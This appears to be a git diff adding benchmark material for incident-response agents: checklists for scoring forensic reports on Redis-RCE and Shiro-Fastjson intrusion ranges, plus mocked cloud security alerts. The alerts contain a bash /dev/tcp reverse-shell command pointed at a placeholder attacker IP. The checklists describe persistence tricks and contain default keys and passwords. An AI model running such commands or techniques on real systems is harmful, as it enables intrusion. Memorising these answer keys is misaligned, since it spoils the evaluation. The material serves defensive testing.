- Correctness: the plan suggests firewall restriction of port 6379 + - Completeness: the plan gives specific security-group/iptables rules + +### CHK-24: Service restart and verification `Q-07` +- **Evidence**: Redis, Nginx, SSH should run normally after remediation +- **Detection score** (3 pts) + - Discovery: suggest verifying that the hardening operations did not affect business services + - Evidence: list the key services to be verified + - Attribution: reflect awareness of business impact +- **Plan score** (2 pts) + - Correctness: the plan lists the key service status check commands + - Completeness: the plan covers the three services Redis, Nginx, SSH diff --git a/ranges/redis-rce/checklist.md b/ranges/redis-rce/checklist.md new file mode 100644 index 0000000000000000000000000000000000000000..b1379b4ee7b6ccfa2a9e947d13f8383ebefc5a0b --- /dev/null +++ b/ranges/redis-rce/checklist.md @@ -0,0 +1,250 @@ +# range-redis-rce 检查清单 + +评估的评分标准(ground truth)。每个检查点拆分为检测分、方案分两个独立评分维度。 + +- **检测分**(满分 3 分):发现(1) + 证据(1) + 归因(1) — 评判检测 Agent 的分析报告 — LLM-as-a-Judge +- **方案分**(满分 2 分):正确性(1) + 完整性(1) — 评判检测 Agent 输出的修复方案 — LLM-as-a-Judge +- **仅检测项**:方案分标记 N/A,不参与对应汇总 + +## 维度 1:入侵实体识别与处置(4 项) + +### CHK-01:挖矿进程检测 `ENT-P01` +- **证据**:进程 `/var/tmp/.redis-bgsave` 正在运行,或存在日志 `/var/tmp/.redis-bgsave.log` +- **检测分**(3 分) + - 发现:识别到挖矿进程存在 + - 证据:指出路径 `/var/tmp/.redis-bgsave`,识别伪装名称(.redis-bgsave 模仿 Redis 后台保存进程) + - 归因:将挖矿进程与攻击者入侵后的牟利行为关联 +- **方案分**(2 分) + - 正确性:方案给出正确的进程终止命令 + - 完整性:方案涵盖终止进程 + 删除二进制文件和日志 + 检查守护机制 + +### CHK-02:挖矿二进制文件清理 `ENT-F02` +- **证据**:文件 `/var/tmp/.redis-bgsave` 存在 +- **检测分**(3 分) + - 发现:识别到恶意文件 + - 证据:指出文件路径和类型 + - 归因:将其与挖矿行为关联 +- **方案分**(2 分) + - 正确性:方案给出正确的删除命令 + - 完整性:方案建议检查 /var/tmp、/tmp 等位置是否有副本 + +### CHK-03:攻击者 SSH 公钥识别 `ENT-F04` +- **证据**:`/root/.ssh/authorized_keys` 中包含 `attacker@redis-pwned` 注释的公钥,且文件含 Redis RDB 序列化二进制数据 +- **检测分**(3 分) + - 发现:发现异常的 SSH 公钥条目 + - 证据:指出公钥注释 `attacker@redis-pwned` + authorized_keys 文件包含非正常的二进制前缀(Redis RDB 特征) + - 归因:识别出 SSH 公钥是通过 Redis 未授权访问写入的(非手动添加) +- **方案分**(2 分) + - 正确性:方案建议删除攻击者公钥 + - 完整性:方案说明需重建 authorized_keys(整个文件被 Redis RDB 格式污染,不能只删一行) + +### CHK-04:Redis 写入的 crontab 残留 `ENT-F04` +- **证据**:`/var/spool/cron/crontabs/root` 包含 Redis RDB 二进制数据 + 挖矿 crontab 条目 +- **检测分**(3 分) + - 发现:发现异常的 crontab 文件 + - 证据:指出文件含 RDB 二进制垃圾数据,非正常 crontab 格式 + - 归因:识别为 Redis CONFIG SET + SAVE 写入的文件(与 authorized_keys 同一攻击手法) +- **方案分**(2 分) + - 正确性:方案建议删除该文件或重建为空 + - 完整性:方案说明需同时检查 `crontab -l` 和文件系统层面 + +## 维度 2:基线风险(8 项) + +### CHK-05:Redis bind 配置 `BAS-02` +- **证据**:`/etc/redis/redis.conf` 中 `bind 0.0.0.0`(监听所有接口) +- **检测分**(3 分) + - 发现:识别到 Redis 监听所有网络接口 + - 证据:引用 redis.conf 中的 bind 配置 + - 归因:将其与攻击者能从外网访问 Redis 关联 +- **方案分**(2 分) + - 正确性:方案建议改为 `bind 127.0.0.1` + - 完整性:方案考虑了应用层面的影响(如其他服务依赖 Redis 网络访问) + +### CHK-06:Redis requirepass `BAS-02` +- **证据**:Redis 未设置 requirepass(无认证即可执行任意命令) +- **检测分**(3 分) + - 发现:识别到 Redis 无密码保护 + - 证据:`redis-cli CONFIG GET requirepass` 返回空 + - 归因:将无密码与攻击者能执行 CONFIG SET 等危险命令关联 +- **方案分**(2 分) + - 正确性:方案建议设置 requirepass 为强密码 + - 完整性:方案包含客户端连接更新和密码复杂度要求 + +### CHK-07:Redis protected-mode `BAS-02` +- **证据**:`protected-mode no` 关闭了 Redis 自身的安全防护 +- **检测分**(3 分) + - 发现:识别到 protected-mode 被禁用 + - 证据:引用 redis.conf 配置 + - 归因:将其与 Redis 未授权访问能力关联 +- **方案分**(2 分) + - 正确性:方案建议开启 protected-mode + - 完整性:方案说明 protected-mode 与 requirepass 的组合使用 + +### CHK-08:Redis 运行用户 `BAS-02` +- **证据**:Redis 以 root 身份运行(`ps -o user= -p $(pgrep redis-server)` 返回 root) +- **检测分**(3 分) + - 发现:识别到 Redis 以 root 运行的严重风险 + - 证据:进程信息显示运行用户为 root + - 归因:指出 root 运行是攻击者能写入 /root/.ssh/ 的关键前提 +- **方案分**(2 分) + - 正确性:方案建议改为 redis 专用用户运行 + - 完整性:方案包含文件权限修改和 systemd service 用户配置 + +### CHK-09:Redis rename-command `BAS-02` +- **证据**:CONFIG、SAVE、FLUSHALL 等危险命令未被限制 +- **检测分**(3 分) + - 发现:识别到危险命令未限制 + - 证据:可直接远程执行 CONFIG SET + - 归因:指出 CONFIG/SAVE 命令是写入 SSH 密钥和 crontab 的核心 +- **方案分**(2 分) + - 正确性:方案建议使用 rename-command 重命名或禁用危险命令 + - 完整性:方案列出需限制的命令清单(CONFIG、SAVE、BGSAVE、FLUSHALL、DEBUG) + +### CHK-10:SSH PermitRootLogin `BAS-01` +- **证据**:`/etc/ssh/sshd_config` 中 `PermitRootLogin yes` +- **检测分**(3 分) + - 发现:识别到 root 直接 SSH 登录的风险 + - 证据:引用 sshd_config 配置 + - 归因:将其与攻击者通过 SSH 密钥直接登录 root 关联 +- **方案分**(2 分) + - 正确性:方案建议改为 `no` 或 `prohibit-password` + - 完整性:方案包含 `sshd -t` 验证和 sshd 重启 + +### CHK-11:deploy 的 sudoers NOPASSWD `BAS-04` +- **证据**:`/etc/sudoers.d/deploy` 授予了 `NOPASSWD: ALL` +- **检测分**(3 分) + - 发现:识别到过于宽松的 sudo 权限 + - 证据:引用 sudoers 文件内容 + - 归因:指出攻击者可借此提权 +- **方案分**(2 分) + - 正确性:方案建议限制到特定命令或移除 NOPASSWD + - 完整性:方案包含 `visudo -c` 验证 + +### CHK-12:bash_history 中的 Redis 会话凭证 `BAS-03` +- **证据**:`/home/deploy/.bash_history` 中包含 Redis SET 命令泄露的会话 token(`session:admin ... s3cr3tK3y!2024`) +- **检测分**(3 分) + - 发现:识别到 shell 历史中的敏感信息 + - 证据:引用具体历史记录行 + - 归因:指出凭证泄露可被攻击者利用 +- **方案分**(2 分) + - 正确性:方案建议清除敏感历史行 + - 完整性:方案建议使用 Redis ACL 或应用层认证代替明文命令行操作 + +## 维度 3:持久化清除(5 项) + +### CHK-13:~/.ssh/rc 持久化 `PER-I01` +- **证据**:`/root/.ssh/rc` 含伪装为 "Redis connection health check" 的代码,实际在 SSH 登录时静默启动挖矿程序 +- **检测分**(3 分) + - 发现:识别到 SSH rc 文件中的恶意代码 + - 证据:引用 /root/.ssh/rc 内容和伪装注释 + - 归因:识别为 SSH 登录时自动执行的持久化机制(区别于 bashrc/profile.d) +- **方案分**(2 分) + - 正确性:方案给出删除 /root/.ssh/rc 的命令 + - 完整性:方案建议检查其他用户的 ~/.ssh/rc + +### CHK-14:init.d 恶意脚本 `PER-V01` +- **证据**:`/etc/init.d/redis-watchdog` — 伪装为 Redis 健康监控守护进程,实际启动挖矿程序 +- **检测分**(3 分) + - 发现:识别到可疑 init.d 脚本 + - 证据:指出脚本路径和实际执行内容(指向 /var/tmp/.redis-bgsave) + - 归因:识别为 init.d 层面的持久化(开机自启) +- **方案分**(2 分) + - 正确性:方案给出移除脚本 + `update-rc.d remove` 命令 + - 完整性:方案包含清理后的验证步骤 + +### CHK-15:init.d 服务伪装识别 `PER-V01` *仅检测项* +- **证据**:脚本名称 `redis-watchdog` 和描述 "Redis health monitoring daemon" 模仿合法运维工具 +- **检测分**(3 分) + - 发现:指出服务名称和 LSB 描述的伪装手法 + - 证据:对比合法 Redis 组件命名(redis-server、redis-sentinel),指出 redis-watchdog 不是官方组件 + - 归因:识别为攻击者通过命名伪装躲避审查 +- **方案分**:N/A(实际处置由 CHK-14 覆盖) + +### CHK-16:Redis 写入的 crontab 文件特征识别 `PER-S01` *仅检测项* +- **证据**:`/var/spool/cron/crontabs/root` 文件以 Redis RDB 格式 header 开头(而非正常 crontab 文本) +- **检测分**(3 分) + - 发现:识别到 crontab 文件格式异常 + - 证据:指出文件含二进制数据(Redis RDB 特征),非正常 crontab 格式 + - 归因:判定为 Redis CONFIG SET dir + SAVE 攻击手法写入 +- **方案分**:N/A(实际处置由 CHK-04 覆盖) +- **加分项**:Agent 将 crontab 的 RDB 特征与 authorized_keys 的 RDB 特征关联分析 + +### CHK-17:全面的持久化扫描 `Q-05` *仅检测项* +- **证据**:除 ~/.ssh/rc、init.d、crontab 外无其他持久化机制 +- **检测分**(3 分) + - 发现:执行系统性的持久化扫描(systemd、profile.d、bashrc、at 任务等) + - 证据:记录扫描范围和方法 + - 归因:即使未发现额外项目,证明排查的全面性 +- **方案分**:N/A + +## 维度 4:评测质量维度(4 项) + +### CHK-18:Redis 未授权访问证据 `Q-02` `Q-03` *仅检测项* +- **证据**: + - Redis 日志(部分清理后仍可能有连接记录) + - authorized_keys 中的 Redis RDB 二进制特征 + - crontab 文件中的 Redis RDB 特征 + - Redis CONFIG 状态(bind/protected-mode/requirepass) +- **检测分**(3 分) + - 发现:从多个数据源交叉验证 Redis 被利用 + - 证据:关联 authorized_keys RDB 特征 + crontab RDB 特征 + Redis 弱配置 + - 归因:综合证据建立 Redis 未授权访问 → SSH 密钥注入的完整攻击链 +- **方案分**:N/A + +### CHK-19:攻击者 IP 识别 `Q-03` *仅检测项* +- **证据**:Redis 日志中的客户端连接 IP;SSH auth.log 中密钥登录的源 IP +- **检测分**(3 分) + - 发现:识别出攻击者的源 IP + - 证据:引用具体日志行和 IP + - 归因:将该 IP 与 Redis 访问和 SSH 登录关联 +- **方案分**:N/A + +### CHK-20:入口判定 `Q-01` `Q-04` *仅检测项* +- **证据**:Redis 未授权访问(CONFIG SET 写文件),不是 SSH 暴力破解、不是 CVE 利用 +- **检测分**(3 分) + - 发现:正确判定入口为 "Redis 未授权访问" + - 证据:引用 Redis 弱配置 + authorized_keys RDB 特征 + 无暴力破解日志 + - 归因:排除 SSH 暴力破解(无 Failed password 日志)和 CVE(无漏洞利用痕迹) +- **方案分**:N/A +- **关键**:Agent 不应编造 CVE 或将其误判为 SSH 暴力破解 + +### CHK-21:攻击时间线重建 `Q-02` *仅检测项* +- **证据**:Redis 日志时间戳、SSH auth.log 密钥登录时间、文件 mtime/ctime(注意挖矿文件的 mtime 被 touch -r 伪造,需对比 ctime) +- **检测分**(3 分) + - 发现:构建出连贯的攻击时间线 + - 证据:Redis 访问 → SSH 密钥登录 → 挖矿部署 → 持久化安装 + - 归因:将多个时间戳来源交叉关联 +- **方案分**:N/A +- **加分项**:Agent 识别到挖矿文件的 mtime 被 `touch -r` 伪造(mtime 与 redis-server 一致但 ctime 为攻击时间) + +## 维度 5:修复闭环(4 项) + +### CHK-22:Redis 加固验证 `Q-07` +- **证据**:Redis 配置变更后 +- **检测分**(3 分) + - 发现:建议验证 Redis 加固效果 + - 证据:说明需验证 bind + requirepass + protected-mode + 运行用户 + rename-command 五项 + - 归因:体现修复操作的完整性 +- **方案分**(2 分) + - 正确性:方案给出 Redis 加固后的验证命令 + - 完整性:方案包含重启 Redis 后再次验证配置生效 + +### CHK-23:6379 端口访问限制 `BAS-07` +- **证据**:Redis 6379 端口对公网开放(攻击者从外网直接连接成功可推知) +- **检测分**(3 分) + - 发现:识别到 Redis 端口对公网无限制开放 + - 证据:攻击者从外网直接执行 Redis 命令 + - 归因:将端口暴露与 Redis 未授权访问攻击面关联 +- **方案分**(2 分) + - 正确性:方案建议防火墙限制 6379 端口 + - 完整性:方案给出具体的安全组/iptables 规则 + +### CHK-24:服务重启与验证 `Q-07` +- **证据**:Redis、Nginx、SSH 在修复后应正常运行 +- **检测分**(3 分) + - 发现:建议验证加固操作未影响业务服务 + - 证据:列出需要验证的关键服务 + - 归因:体现业务影响意识 +- **方案分**(2 分) + - 正确性:方案列出关键服务状态检查命令 + - 完整性:方案涵盖 Redis、Nginx、SSH 三个服务 diff --git a/ranges/redis-rce/disk.tar.gz b/ranges/redis-rce/disk.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..6edc994a97bbddcd8db17a8f7a4dee1503b5d16d --- /dev/null +++ b/ranges/redis-rce/disk.tar.gz @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b87cb4ecc8033036586c47448e38e23bae9249f89530e2caf3c630023bcce9d5 +size 793899165 diff --git a/ranges/redis-rce/disk.tar.gz.sha256 b/ranges/redis-rce/disk.tar.gz.sha256 new file mode 100644 index 0000000000000000000000000000000000000000..053cbbf8a65366fb9b4782b9af1a93619fb26a5d --- /dev/null +++ b/ranges/redis-rce/disk.tar.gz.sha256 @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:bc44e27b1e49a64c74136b41ecd955c1ca265f7f4ff3732a9b15a868d2163d39 +size 78 diff --git a/ranges/redis-rce/sas-mock/alerts.json b/ranges/redis-rce/sas-mock/alerts.json new file mode 100644 index 0000000000000000000000000000000000000000..6ecbbe3042b365d9ad652e52d9dc16f290233cbf --- /dev/null +++ b/ranges/redis-rce/sas-mock/alerts.json @@ -0,0 +1,80 @@ +{ + "Count": 2, + "CurrentPage": 1, + "PageSize": 50, + "RequestId": "A3F7C2D1-8E4B-5A6C-B9D0-1234567890AB", + "SuspEvents": [ + { + "AlarmEventName": "反弹shell命令", + "AlarmEventNameDisplay": "反弹Shell", + "AlarmEventType": "进程异常行为", + "AlarmEventTypeDisplay": "进程异常行为", + "AlarmUniqueInfo": "bee3733719f7e76e17f4f00f1de357b1", + "CanBeDealOnLine": false, + "DataSource": "aegis_suspicious_event", + "Desc": "云安全中心检测到您的服务器被执行了反弹Shell命令,攻击者通过该方式与自己的服务器建立了反向网络连接,通过该连接可以执行任意命令。", + "Details": [ + { "NameDisplay": "提示", "Type": "text", "Value": "检测到您的机器上出现了反弹Shell事件, 可能与入侵事件相关.", "ValueDisplay": "检测到您的机器上出现了反弹Shell事件, 可能与入侵事件相关." }, + { "NameDisplay": "ATT&CK 矩阵ID", "Type": "text", "Value": "T1059.004", "ValueDisplay": "T1059.004" }, + { "NameDisplay": "数据来源", "Type": "text", "Value": "进程启动触发检测", "ValueDisplay": "进程启动触发检测" }, + { "NameDisplay": "告警原因", "Type": "text", "Value": "该进程的命令行显示出反弹shell的特征", "ValueDisplay": "该进程的命令行显示出反弹shell的特征" }, + { "NameDisplay": "用户名", "Type": "text", "Value": "root", "ValueDisplay": "root" }, + { "NameDisplay": "命令行", "Type": "text", "Value": "bash -c bash -i >& /dev/tcp/__ATTACKER_IP__/4444 0>&1", "ValueDisplay": "bash -c bash -i >& /dev/tcp/__ATTACKER_IP__/4444 0>&1" }, + { "NameDisplay": "进程路径", "Type": "text", "Value": "/usr/bin/bash", "ValueDisplay": "/usr/bin/bash" }, + { "NameDisplay": "进程ID", "Type": "text", "Value": "2604", "ValueDisplay": "2604" }, + { "NameDisplay": "父进程命令行", "Type": "text", "Value": "/bin/sh /usr/local/share/aliyun-assist/work/script/t-hz06k56lfxo8ikg.sh", "ValueDisplay": "/bin/sh /usr/local/share/aliyun-assist/work/script/t-hz06k56lfxo8ikg.sh" }, + { "NameDisplay": "父进程文件路径", "Type": "text", "Value": "/usr/bin/dash", "ValueDisplay": "/usr/bin/dash" }, + { "NameDisplay": "父进程ID", "Type": "text", "Value": "2590", "ValueDisplay": "2590" }, + { "NameDisplay": "描述", "Type": "text", "Value": "攻击者通过各种方式, 使Shell可以接受攻击者发送的命令并执行, 以达到远程控制的目的.", "ValueDisplay": "攻击者通过各种方式, 使Shell可以接受攻击者发送的命令并执行, 以达到远程控制的目的." }, + { "NameDisplay": "处置建议", "Type": "text", "Value": "请先判断该命令是否是运维操作或业务正常的命令, 如果是, 请忽略该告警. 如果您在处理告警时此进程仍然存在, 建议先尝试kill进程避免后续进一步行为. 该命令可能仅是攻击者入侵过程中的其中一步, 请继续查看该机器的其他告警或排查日志, 分析是否还存在其他恶意行为.", "ValueDisplay": "请先判断该命令是否是运维操作或业务正常的命令, 如果是, 请忽略该告警. 如果您在处理告警时此进程仍然存在, 建议先尝试kill进程避免后续进一步行为. 该命令可能仅是攻击者入侵过程中的其中一步, 请继续查看该机器的其他告警或排查日志, 分析是否还存在其他恶意行为." } + ], + "EventStatus": 1, + "EventSubType": "反弹shell命令", + "HasTraceInfo": false, + "Id": 713553617, + "InstanceId": "i-mock-redis-rce-001", + "InstanceName": "range-redis-rce-victim", + "InternetIp": "__VICTIM_IP__", + "IntranetIp": "172.16.0.100", + "Level": "serious", + "Name": "进程异常行为-反弹Shell", + "OccurrenceTime": "2026-05-07 17:23:07", + "Stages": "[\"代码执行\"]", + "TacticItems": [{ "TacticDisplayName": "代码执行", "TacticId": "TA0002" }] + }, + { + "AlarmEventName": "反弹Shell网络外连", + "AlarmEventNameDisplay": "反弹Shell网络外连", + "AlarmEventType": "异常网络连接", + "AlarmEventTypeDisplay": "异常网络连接", + "AlarmUniqueInfo": "c4a2e8f619d3b7c01a5f98e2d6b4c3a1", + "CanBeDealOnLine": false, + "DataSource": "aegis_suspicious_event", + "Desc": "云安全中心检测到服务器发起异常网络连接,该连接具有反弹Shell特征,攻击者可能通过该连接远程控制服务器。", + "Details": [ + { "NameDisplay": "提示", "Type": "text", "Value": "检测到您的机器上出现了反弹Shell事件, 可能与入侵事件相关.", "ValueDisplay": "检测到您的机器上出现了反弹Shell事件, 可能与入侵事件相关." }, + { "NameDisplay": "告警原因", "Type": "text", "Value": "该进程的命令行或网络连接显示出反弹shell的特征。", "ValueDisplay": "该进程的命令行或网络连接显示出反弹shell的特征。" }, + { "NameDisplay": "用户名", "Type": "text", "Value": "root", "ValueDisplay": "root" }, + { "NameDisplay": "命令行", "Type": "text", "Value": "bash -c bash -i >& /dev/tcp/__ATTACKER_IP__/4444 0>&1", "ValueDisplay": "bash -c bash -i >& /dev/tcp/__ATTACKER_IP__/4444 0>&1" }, + { "NameDisplay": "进程路径", "Type": "text", "Value": "/usr/bin/bash", "ValueDisplay": "/usr/bin/bash" }, + { "NameDisplay": "进程ID", "Type": "text", "Value": "3102", "ValueDisplay": "3102" }, + { "NameDisplay": "描述", "Type": "text", "Value": "攻击者通过各种方式, 使Shell可以接受攻击者发送的命令并执行, 以达到远程控制的目的.", "ValueDisplay": "攻击者通过各种方式, 使Shell可以接受攻击者发送的命令并执行, 以达到远程控制的目的." }, + { "NameDisplay": "处置建议", "Type": "text", "Value": "请先判断该命令是否是运维操作或业务正常的命令, 如果是, 请忽略该告警. 如果您在处理告警时此进程仍然存在, 建议先尝试kill进程避免后续进一步行为.", "ValueDisplay": "请先判断该命令是否是运维操作或业务正常的命令, 如果是, 请忽略该告警. 如果您在处理告警时此进程仍然存在, 建议先尝试kill进程避免后续进一步行为." } + ], + "EventStatus": 1, + "EventSubType": "反弹Shell网络外连", + "HasTraceInfo": false, + "Id": 713553618, + "InstanceId": "i-mock-redis-rce-001", + "InstanceName": "range-redis-rce-victim", + "InternetIp": "__VICTIM_IP__", + "IntranetIp": "172.16.0.100", + "Level": "serious", + "Name": "异常网络连接-反弹shell网络外连", + "OccurrenceTime": "2026-05-07 17:53:48", + "Stages": "[\"代码执行\"]", + "TacticItems": [{ "TacticDisplayName": "代码执行", "TacticId": "TA0002" }] + } + ], + "_comment": "SAS 企业版(auth_version=3)检测结果。对 Redis 数据面攻击(CONFIG SET 写文件、SSH 密钥注入、挖矿脚本启动、crontab 写入、init.d 持久化)均未产出告警。检测到的 2 条告警均为反弹 Shell 相关:1 条进程行为检测 + 1 条网络连接检测(后者仅企业版可检测,免费版不产出)。Agent 需要几乎完全依靠主机取证能力来发现入侵,SAS 告警提供的线索极少。" +} diff --git a/ranges/redis-rce/sas-mock/baselines.json b/ranges/redis-rce/sas-mock/baselines.json new file mode 100644 index 0000000000000000000000000000000000000000..f910a8c1e6b638f3c6189b75bfe66fd8be9bce21 --- /dev/null +++ b/ranges/redis-rce/sas-mock/baselines.json @@ -0,0 +1,9 @@ +{ + "Count": 0, + "CurrentPage": 1, + "PageSize": 50, + "RequestId": "B4E8D3F2-9F5C-6B7D-CA01-2345678901BC", + "TotalCount": 0, + "WarningSummarys": [], + "_comment": "SAS 免费版不提供主机级基线检查(SSH 配置、Redis 配置、账户安全等)。仅有云平台级的通用风控项(密钥对登录、快照策略、安全组策略等),与主机入侵检测无关,此处不包含。" +} diff --git a/ranges/redis-rce/sas-mock/vulns.json b/ranges/redis-rce/sas-mock/vulns.json new file mode 100644 index 0000000000000000000000000000000000000000..3794684ad60735fb76450578a69de8462658cd2e --- /dev/null +++ b/ranges/redis-rce/sas-mock/vulns.json @@ -0,0 +1,6 @@ +{ + "cve": { "CurrentPage": 1, "PageSize": 50, "RequestId": "C5F9E4G3-AF6D-7C8E-DB12-3456789012CD", "TotalCount": 0, "VulRecords": [] }, + "sys": { "CurrentPage": 1, "PageSize": 50, "RequestId": "D6G0F5H4-BG7E-8D9F-EC23-4567890123DE", "TotalCount": 0, "VulRecords": [] }, + "app": { "CurrentPage": 1, "PageSize": 50, "RequestId": "F8I2H7J6-DI9G-0F1H-GE45-6789012345FG", "TotalCount": 0, "VulRecords": [] }, + "_comment": "SAS 免费版未检测到该实例上的 CVE 漏洞或应用漏洞。Redis 未授权访问属于配置弱点而非 CVE。" +} diff --git a/ranges/shiro-fastjson/checklist.en.md b/ranges/shiro-fastjson/checklist.en.md new file mode 100644 index 0000000000000000000000000000000000000000..5bc23ec841c44bbd43ff3c96299144f8e54c3d90 --- /dev/null +++ b/ranges/shiro-fastjson/checklist.en.md @@ -0,0 +1,445 @@ +# range-shiro-fastjson Checklist + +Scoring criteria (ground truth) for evaluation. Each checkpoint is split into two independent scoring dimensions: detection score and plan score. + +- **Detection score** (max 3 pts): Discovery(1) + Evidence(1) + Attribution(1) — judging the detection Agent's analysis report — LLM-as-a-Judge +- **Plan score** (max 2 pts): Correctness(1) + Completeness(1) — judging the repair plan output by the detection Agent — LLM-as-a-Judge +- **detection-only**: plan score marked N/A, not included in the corresponding summary + +## Dimension 1: Intrusion entity identification and disposal (8 items) + +### CHK-01: JSP Webshell 1 (error.jsp) `ENT-F01` +- **Evidence**: `/opt/tomcat/webapps/ROOT/static/css/error.jsp` — JSP Webshell disguised under the CSS directory +- **Detection score** (3 pts) + - Discovery: Identifies a suspicious JSP file present in the static-resource directory + - Evidence: Points out the file path, recognizes that a JSP file should not appear in the css directory + - Attribution: Associates the Webshell with the attacker's implantation via Shiro RCE +- **Plan score** (2 pts) + - Correctness: Plan gives the correct file deletion command + - Completeness: Plan recommends scanning all webapps directories for anomalous JSP/JSPX files + +### CHK-02: JSP Webshell 2 (analytics.jsp) `ENT-F01` +- **Evidence**: `/opt/tomcat/webapps/ROOT/static/js/analytics.jsp` — disguised as an analytics script +- **Detection score** (3 pts) + - Discovery: Identifies a second Webshell + - Evidence: Points out the anomaly of a JSP file appearing in the js directory + - Attribution: Recognizes the attacker's use of multiple Webshells as backup entry points +- **Plan score** (2 pts) + - Correctness: Plan gives the deletion command + - Completeness: Plan recommends a comprehensive scan, not missing other hidden Webshells + +### CHK-03: Mining process detection `ENT-P01` +- **Evidence**: Process `/opt/.cache/.java-updater` is running +- **Detection score** (3 pts) + - Discovery: Identifies the mining process + - Evidence: Points out the path `/opt/.cache/.java-updater`, recognizes the disguised name + - Attribution: Associates the mining process with the attacker's profit-seeking behavior after intrusion +- **Plan score** (2 pts) + - Correctness: Plan gives the correct process termination command + - Completeness: Plan covers terminating the process + deleting the file + checking the guard mechanism + +### CHK-04: Mining binary cleanup `ENT-F02` +- **Evidence**: File `/opt/.cache/.java-updater` exists +- **Detection score** (3 pts) + - Discovery: Identifies the malicious file + - Evidence: Points out the file path and type + - Attribution: Associates it with the mining behavior +- **Plan score** (2 pts) + - Correctness: Plan gives the correct deletion command + - Completeness: Plan recommends checking other suspicious files under /opt/.cache/ (including the log .java-updater.log) + +### CHK-05: MySQL dump file cleanup `ENT-F04` +- **Evidence**: `/tmp/.sql_dump` — MySQL user-table data exported by the attacker +- **Detection score** (3 pts) + - Discovery: Discovers the database dump file left by the attacker + - Evidence: Points out the file path and content (sys_user table data) + - Attribution: Identifies it as evidence of the attacker's data theft behavior +- **Plan score** (2 pts) + - Correctness: Plan recommends preserving it first for forensic analysis + - Completeness: Plan describes the cleanup steps after forensics is complete + +### CHK-06: MySQL UDF persistence & backdoor `ENT-F02` `PER-D01` +- **Evidence**: `lib_mysqludf_json.so` in the MySQL plugin directory — a malicious UDF shared library +- **Detection score** (3 pts) + - Discovery: Identifies a suspicious SO file and anomalous UDF function in the MySQL plugin directory + - Evidence: Points out the file path and the corresponding UDF function (sys_exec) + - Attribution: Associates the UDF backdoor with the attacker's persistence behavior after obtaining the database password +- **Plan score** (2 pts) + - Correctness: Plan gives the DROP FUNCTION + delete SO file commands + - Completeness: Plan recommends auditing all non-standard SO files in the MySQL plugin directory and checking all UDF functions (`SELECT * FROM mysql.func`) + +### CHK-07: Webshell dir. masquerade `ENT-F01` *detection-only* +- **Evidence**: The two Webshells are placed under `static/css/` and `static/js/` respectively +- **Detection score** (3 pts) + - Discovery: Points out the disguise technique of placing JSP files in the static-resource directory + - Evidence: Compares against the normal Tomcat application structure, points out the anomalous directory location + - Attribution: Recognizes it as the attacker using directory disguise to evade routine Webshell scans +- **Plan score**: N/A (disposal covered by CHK-01/02) +- **Bonus**: Agent recommends setting JSP execution restrictions on the Tomcat static-resource directory + +### CHK-08: Attacker SSH key injection `ENT-F04` `PER-A01` +- **Evidence**: `/root/.ssh/authorized_keys` contains an anomalous key with the comment `deploy@ci-ruoyi` +- **Detection score** (3 pts) + - Discovery: Identifies the suspicious SSH public key in authorized_keys + - Evidence: Points out the key comment `deploy@ci-ruoyi` and the key content characteristics + - Attribution: Identifies it as a persistence backdoor key implanted by the attacker +- **Plan score** (2 pts) + - Correctness: Plan gives the command to remove the specific key line + - Completeness: Plan recommends checking the authorized_keys of all users + +## Dimension 2: Baseline risk (8 items) + +### CHK-09: Tomcat sudo priv. tightening `BAS-04` +- **Evidence**: `/etc/sudoers.d/tomcat` grants `NOPASSWD: /usr/bin/find, /usr/bin/vim` +- **Detection score** (3 pts) + - Discovery: Identifies the dangerous sudo privileges of the tomcat user + - Evidence: Points out that find -exec and vim :!bash can be used for privilege escalation + - Attribution: Associates the sudo privileges with the attacker's path from tomcat to root +- **Plan score** (2 pts) + - Correctness: Plan recommends removing the NOPASSWD privileges for find/vim + - Completeness: Plan includes the `visudo -c` verification step, recommends replacing with a safe log-viewing tool + +### CHK-10: sudoers backdoor cleanup `PER-A02` +- **Evidence**: `/etc/sudoers.d/99-java-ops` — backdoor rule `java-ops ALL=(ALL) NOPASSWD: ALL` implanted by the attacker +- **Detection score** (3 pts) + - Discovery: Identifies the anomalous sudoers file in /etc/sudoers.d/ + - Evidence: Points out the 99-java-ops file and the NOPASSWD ALL privilege of the java-ops user + - Attribution: Identifies it as a persistence privilege-escalation backdoor implanted by the attacker +- **Plan score** (2 pts) + - Correctness: Plan gives the file deletion command + - Completeness: Plan recommends checking all files under /etc/sudoers.d/ and verifying whether there are other anomalous rules + +### CHK-11: application .yml cred. protection `BAS-03` +- **Evidence**: `/opt/ruoyi/application.yml` contains the plaintext database password `RuoYi@2024` +- **Detection score** (3 pts) + - Discovery: Identifies the plaintext credential in the configuration file + - Evidence: Quotes the specific configuration line and password value + - Attribution: Points out that the attacker obtained database access by reading this file +- **Plan score** (2 pts) + - Correctness: Plan recommends changing the database password and using encrypted storage + - Completeness: Plan recommends tightening file permissions (chmod 600), using environment variables or Jasypt encryption + +### CHK-12: MySQL remote access ctrl. `BAS-02` +- **Evidence**: MySQL root user can access from `%` (any host), password `RuoYi@2024` +- **Detection score** (3 pts) + - Discovery: Identifies the risk of remote root MySQL access + - Evidence: Points out the `root@'%'` grant and bind-address=0.0.0.0 + - Attribution: Points out that this configuration can be exploited by external attackers +- **Plan score** (2 pts) + - Correctness: Plan gives the SQL command to restrict to localhost and the bind-address modification + - Completeness: Plan includes the verification step after modification + +### CHK-13: Shiro default key `BAS-03` +- **Evidence**: `application.yml` contains `shiro.rememberMe.cipherKey: zSyK5Kp6PZAAjlT+eeNMlg==` +- **Detection score** (3 pts) + - Discovery: Identifies that Shiro uses a default encryption key + - Evidence: Quotes the cipherKey value in the configuration file, points out that this is a well-known default key + - Attribution: Directly associates the default key with the Shiro deserialization RCE entry point +- **Plan score** (2 pts) + - Correctness: Plan recommends replacing with a random key or upgrading the Shiro version + - Completeness: Plan gives multi-layer repair recommendations (change key / upgrade / disable rememberMe) + +### CHK-14: Tomcat run-as user priv. `BAS-04` +- **Evidence**: Tomcat runs as the tomcat user, but that user has excessive sudo privileges +- **Detection score** (3 pts) + - Discovery: Identifies the user-privilege configuration of the Tomcat process + - Evidence: Points out the sudo configuration of the tomcat user + - Attribution: Associates the excessive privileges with the privilege-escalation path +- **Plan score** (2 pts) + - Correctness: Plan recommends following the principle of least privilege + - Completeness: Plan recommends removing unnecessary sudo privileges, keeping only what the business requires + +### CHK-15: Tomcat port host-level access ctrl. `BAS-06` +- **Evidence**: Tomcat listens on port 8080 serving the RuoYi application, with 